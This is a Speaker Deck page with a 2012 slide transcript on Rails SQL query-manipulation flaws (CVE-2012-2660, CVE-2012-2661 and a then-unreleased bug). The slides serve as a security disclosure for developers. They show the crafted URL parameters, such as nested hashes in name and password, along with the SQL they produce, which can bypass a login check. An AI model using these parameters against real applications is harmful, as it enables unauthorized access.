Upgrade to Pro
— share decks privately, control downloads, hide ads and more …
Speaker Deck
Features
Speaker Deck
PRO
Sign in
Sign up for free
Search
Search
"Recent Rails SQL Issues" - 2012
Search
Justin Collins
April 23, 2015
Programming
87
0
Share
"Recent Rails SQL Issues" - 2012
Justin Collins
April 23, 2015
More Decks by Justin Collins
See All by Justin Collins
Continuous (Application) Security at DevOps Velocity
presidentbeef
0
170
The Evolution of Rails Security
presidentbeef
1
870
Brakeman RailsConf 2017 Lightning Talk
presidentbeef
0
170
Practical Static Analysis for Continuous Application Security
presidentbeef
0
240
"...But Doesn't Rails Take Care of Security for Me?"
presidentbeef
1
490
Continuous Security with Practical Static Analysis
presidentbeef
1
360
Security Automation at Twitter - Rise of the Machines
presidentbeef
0
280
The World of Rails Security - RailsConf 2015
presidentbeef
8
1.3k
Tales from the Crypt
presidentbeef
1
270
Other Decks in Programming
See All in Programming
なぜあなたのコードには「コシ」がないのか?〜AI時代に問う、最後まで美味しい設計と戦略〜 #phpconkagawa / phpconkagawa2026
shogogg
0
140
アクセシビリティ試験の"その後"を仕組み化する
yuuumiravy
1
190
ふにゃっとしない名前の付け方 〜哲学で茹で上げる、コシのあるソフトウェア設計〜
shimomura
0
110
Claude CodeでETLジョブ実行テストを自動化してみた
yoshikikasama
0
1.1k
AgentCore Optimizationを始めよう!
licux
3
210
Kingdom of the Machine
yui_knk
2
1.4k
ソースコード→AST→オペコード、の旅を覗いてみる
o0h
PRO
1
130
ローカルLLMでどこまでコードが書けるか / How much code can be written on a local LLM
kishida
2
310
AI-DLC Deep Dive
yuukiyo
9
5.6k
ついに来た!本格的なマルチクラウド時代の Google Cloud
maroon1st
0
380
PHPでバイナリをパースして理解するASN.1
muno92
PRO
0
420
2026-04-15 Spring IO - I Can See Clearly Now
jonatan_ivanov
1
180
Featured
See All Featured
Designing for Performance
lara
611
70k
JAMstack: Web Apps at Ludicrous Speed - All Things Open 2022
reverentgeek
1
430
How to Talk to Developers About Accessibility
jct
2
190
Practical Orchestrator
shlominoach
191
11k
Primal Persuasion: How to Engage the Brain for Learning That Lasts
tmiket
0
330
Creating an realtime collaboration tool: Agile Flush - .NET Oxford
marcduiker
35
2.4k
Building the Perfect Custom Keyboard
takai
2
750
YesSQL, Process and Tooling at Scale
rocio
174
15k
Ten Tips & Tricks for a 🌱 transition
stuffmc
0
110
Large-scale JavaScript Application Architecture
addyosmani
515
110k
Skip the Path - Find Your Career Trail
mkilby
1
120
ReactJS: Keep Simple. Everything can be a component!
pedronauck
666
130k
Transcript
Rails Vulnerabilities Last Week CVE-2012-2660 CVE-2012-2661
CVE-2012-2660 Allows unexpected “IS NULL” in queries Affects Rails 2.x
and 3.x
ActiveRecord Query unless params[:name].nil? @user = User.where(:name => params[:name]) end
Query Parameters ?name[] {"name"=>[nil]}
ActiveRecord Query unless [nil].nil? @user = User.where(:name => [nil]) end
Resulting SQL SELECT "users".* FROM "users" WHERE "users"."name" IS NULL
CVE-2012-2661 Allows some manipulation of WHERE clause via “dotted” query
keys Affects Rails 3.x
ActiveRecord Query User.where(:name => params[:name])
ActiveRecord Query User.where("users.name" => params[:name])
Query Parameters ?name[users.id]=1 {"name"=>{"users.id"=>"1"}}
ActiveRecord Query User.where(:name => {"users.id" => "1"})
Resulting SQL SELECT "users".* FROM "users" WHERE "users"." id" =
1
Unreleased Vulnerability Allows some manipulation of WHERE clause via nested
hashes in query values Affects 2.3.x and 3.x
ActiveRecord Query User.where(:name => params[:name], :password => params[:password])
Query Parameters ?name[users][id]=1&password[users][id]=1 {"name"=>{"users"=>{"id"=>"1"}}, "password" =>{"users"=>{"id"=>"1"}}}
ActiveRecord Query User.where( :name => {"users"=>{"id"=>"1"}, :password => {"users"=>{"id"=>"1"} )
Resulting SQL SELECT "users".* FROM "users" WHERE "users"." id" =
1 AND "users"."id" = 1